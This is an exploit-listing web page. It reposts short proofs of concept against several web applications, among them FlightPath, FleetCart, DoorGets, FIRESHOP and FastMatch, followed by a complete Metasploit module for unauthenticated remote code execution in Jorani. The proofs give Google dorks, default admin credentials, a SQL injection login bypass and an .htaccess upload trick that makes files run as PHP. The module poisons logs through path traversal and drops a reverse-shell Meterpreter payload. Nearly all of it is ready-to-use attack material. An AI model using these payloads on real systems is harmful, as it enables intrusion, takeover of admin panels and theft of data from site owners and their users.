Latest exploits :: CodePwn

<pre><code>==================================================================================================================================== | # Title : FlightPath LMS v4.8.2 Insecure Direct Object Reference Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 68.0(32-bit) | | # Vendor : http://getflightpath.com | | # Dork : R.I.P | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine. [+] suffers from an insecure direct object reference vulnerability that allows an unauthorized administrative access. [+] Use payload : /tools/course-search/ [+] http://127.0.0.1/getflightpathcom/sites/getflightpath/demo/4x/flightpath/tools/course-search Greetings to :========================================================================================================================= jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr | ======================================================================================================================================= </code></pre>

<pre><code>==================================================================================================================================== | # Title : FleetCart - Laravel Ecommerce System v1.1.2 Insecure Settings Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0.2(32-bit) | | # Vendor : https://codecanyon.net/item/fleetcart-laravel-ecommerce-system/23014826?s_rank=175 | | # Dork : R.I.P | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine. [+] appears to leave a default administrative account in place post installation. [+] Use Payload : Email: admin@email.com & Password: 123456 [+] Panel : https://127.0.0.1/kingamesro/admin/media Greetings to :========================================================================================================================= jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr | ======================================================================================================================================= </code></pre>

<pre><code>==================================================================================================================================== | # Title : FixBook - Repair Shop Management Tool v2.2 Password Hash Disclosure Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 63.0.3 (32-bit) | | # Vendor : https://codecanyon.net/item/fixbook-repair-shop-management-tool/12333567 | | # Dork : R.I.P | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine . [+] Open the source code of the page. [+] Go 2 line 49 found pass of databass encrypted . view-source:http://target_site/repair/update/ [+] Here Update admin information : http://127.0.0.1/epbuys.co.uk/repair/update/ Greetings to :========================================================================================================================= jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr | ======================================================================================================================================= </code></pre>

<pre><code>==================================================================================================================================== | # Title : DoorGets CMS v12 Sensitive information disclosure Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 65.0(32-bit) | | # Vendor : https://sourceforge.net/ | | # Dork : "Powered with doorGets ™" | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine. [+] Payload gives you the username and password for the site script manager. [+] The problem is caused when the installation folder is not deleted by the user . [+] In this case the developer made a mistake . So that after installation, the script does not delete the installation file or notify the user of changing the folder path or deleting it. It also stores the manager's information in temporary files that any visitor can scan and can use this information to the script control panel. [+] Use Payload : setup/temp/admin.php [+] it show you login information for admin access . [+] http://127.0.0.1/watsingschoolacth/v12/setup/temp/admin.php Greetings to :========================================================================================================================= jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr | ======================================================================================================================================= </code></pre>

<pre><code>==================================================================================================================================== | # Title : FIRESHOP Advanced CMS v2.3 unrestricted file upload Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 63.0.3 (32-bit) | | # Vendor : https://p30vel.ir | | # Dork : R.I.P | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine . [+] Unauthorized access. Allows any user to upload malicious files and run them [+] after login go to http://127.0.0.1/frtu/upload.php [+] use payload : <FilesMatch "^.*\.mp3"> SetHandler application/x-httpd-php </FilesMatch> [+] 1- save code as .htaccess and upload it [+] 2- Upload the malicious file in the form of extension (.mp3) 3v!l.mp3 [+] go to http://127.0.0.1/frtu/img/upload/up.mp3 Greetings to :========================================================================================================================= jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr | ======================================================================================================================================= </code></pre>

<pre><code>==================================================================================================================================== | # Title : FastMatch İddaa Tahmin Scripti v2.0 auth by pass vulnerability | | # Author : indoushka | | # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 73.0.1(32-bit) | | # Vendor : http://wmscripti.com/php-scriptler/fastmatch-iddaa-tahmin-scripti.html | | # Dork : "FastMatch | İddaa Tahminleri Beta" | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine. [+] infected file : login.php [+] line 9 : $bul = mysql_query("select * from admin where kadi='$user' && sifre='$pass'"); [+] use Payload : user & pass : 1'or'1'='1 [+] Panel : http://127.0.0.1/zkulubucom/admin/ Greetings to :========================================================================================================================= jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr | ======================================================================================================================================= </code></pre>

<pre><code>================================================================================================================================== | # Title : E-mailer Newsletter & Mailing System with Analytics + GEO location v1.16 information Disclosure vulnerability | | # Author : indoushka | | # Tested on : windows 10 Français V.(Pro) | | # Vendor : https://codecanyon.net/item/emailer-newsletter-mailing-system-with-analytics-geo-location/15345207 | ================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine [+] use default pass and user : demo [+] after login add install.php [+] http://127.0.0.1/software.pklopotowskipl/demo/e-mailer/install.php [+] they show you system configuration database. Greetings to :========================================================================================================================= jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr | ======================================================================================================================================= </code></pre>

<pre><code>## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Jorani unauthenticated Remote Code Execution', 'Description' => %q{ This module exploits an unauthenticated Remote Code Execution in Jorani prior to 1.0.2. It abuses 3 vulnerabilities: log poisoning and redirection bypass via header spoofing, then it uses path traversal to trigger the vulnerability. It has been tested on Jorani 1.0.0. }, 'License' => MSF_LICENSE, 'Author' => [ 'RIOUX Guilhem (jrjgjk)' ], 'References' => [ ['CVE', '2023-26469'], ['URL', 'https://github.com/Orange-Cyberdefense/CVE-repository/blob/master/PoCs/CVE_Jorani.py'] ], 'Platform' => %w[php], 'Arch' => ARCH_PHP, 'Targets' => [ ['Jorani < 1.0.2', {}] ], 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'RPORT' => 443, 'SSL' => true }, 'DisclosureDate' => '2023-01-06', 'Privileged' => false, 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'The base path of Jorani', '/']) ] ) end def get_version(res) footer_text = res.get_html_document.xpath('//div[contains(@id, "footer")]').text matches = footer_text.scan(/v([0-9.]+)/i) if matches.nil? || matches[0].nil? print_error('Cannot recovered Jorani version...') return nil end matches[0][0] end def service_running(res) matches = res.get_html_document.xpath('//head/meta[@description]/@description').text.downcase.scan(/leave management system/) if matches.nil? print_error("Jorani doesn't appear to be running on the target") return false end true end def recover_csrf(res) csrf_token = res.get_html_document.xpath('//input[@name="csrf_test_jorani"]/@value').text return csrf_token if csrf_token.length == 32 nil end def check # For the check command print_status('Checking Jorani version') uri = normalize_uri(target_uri.path, 'index.php') res = send_request_cgi( 'method' => 'GET', 'uri' => "#{uri}/session/login" ) if res.nil? return Exploit::CheckCode::Safe('There was a problem accessing the login page') end return Exploit::CheckCode::Safe unless service_running(res) print_good('Jorani seems to be running on the target!') current_version = get_version(res) return Exploit::CheckCode::Detected if current_version.nil? print_good("Found version: #{current_version}") current_version = Rex::Version.new(current_version) return Exploit::CheckCode::Appears if current_version < Rex::Version.new('1.0.2') Exploit::CheckCode::Safe end def exploit # Main function print_status('Trying to exploit LFI') path_trav_payload = '../../application/logs' header_name = Rex::Text.rand_text_alpha_upper(16) poison_payload = "<?php if(isset($_SERVER['HTTP_#{header_name}'])){ #{payload.encoded} } ?>" log_file_name = "log-#{Time.now.strftime('%Y-%m-%d')}" uri = normalize_uri(target_uri.path, 'index.php') res = send_request_cgi( 'method' => 'GET', 'keep_cookies' => true, 'uri' => "#{uri}/session/login" ) if res.nil? print_error('There was a problem accessing the login page') return end print_status('Recovering CSRF token') csrf_tok = recover_csrf(res) if csrf_tok.nil? print_status('CSRF not found, doesn\'t mean its not vulnerable') else print_good("CSRF found: #{csrf_tok}") end print_status('Poisoning log with payload..') print_status('Sending 1st payload') send_request_cgi( 'method' => 'POST', 'keep_cookies' => true, 'uri' => "#{uri}/session/login", 'data' => "csrf_test_jorani=#{csrf_tok}&" \ 'last_page=session/login&' \ "language=#{path_trav_payload}&" \ "login=#{Rex::Text.uri_encode(poison_payload)}&" \ "CipheredValue=#{Rex::Text.rand_text_alpha(14)}" ) print_status("Including poisoned log file #{log_file_name}.php") vprint_warning('The date on the attacker and victim machine must be the same for the exploit to be successful due to the timestamp on the poisoned log file. Be careful running this exploit around midnight across timezones.') print_good('Triggering payload') send_request_cgi( 'method' => 'GET', 'keep_cookies' => true, 'uri' => "#{uri}/pages/view/#{log_file_name}", 'headers' => { 'X-REQUESTED-WITH' => 'XMLHttpRequest', header_name => Rex::Text.rand_text_alpha(14) } ) nil end end </code></pre>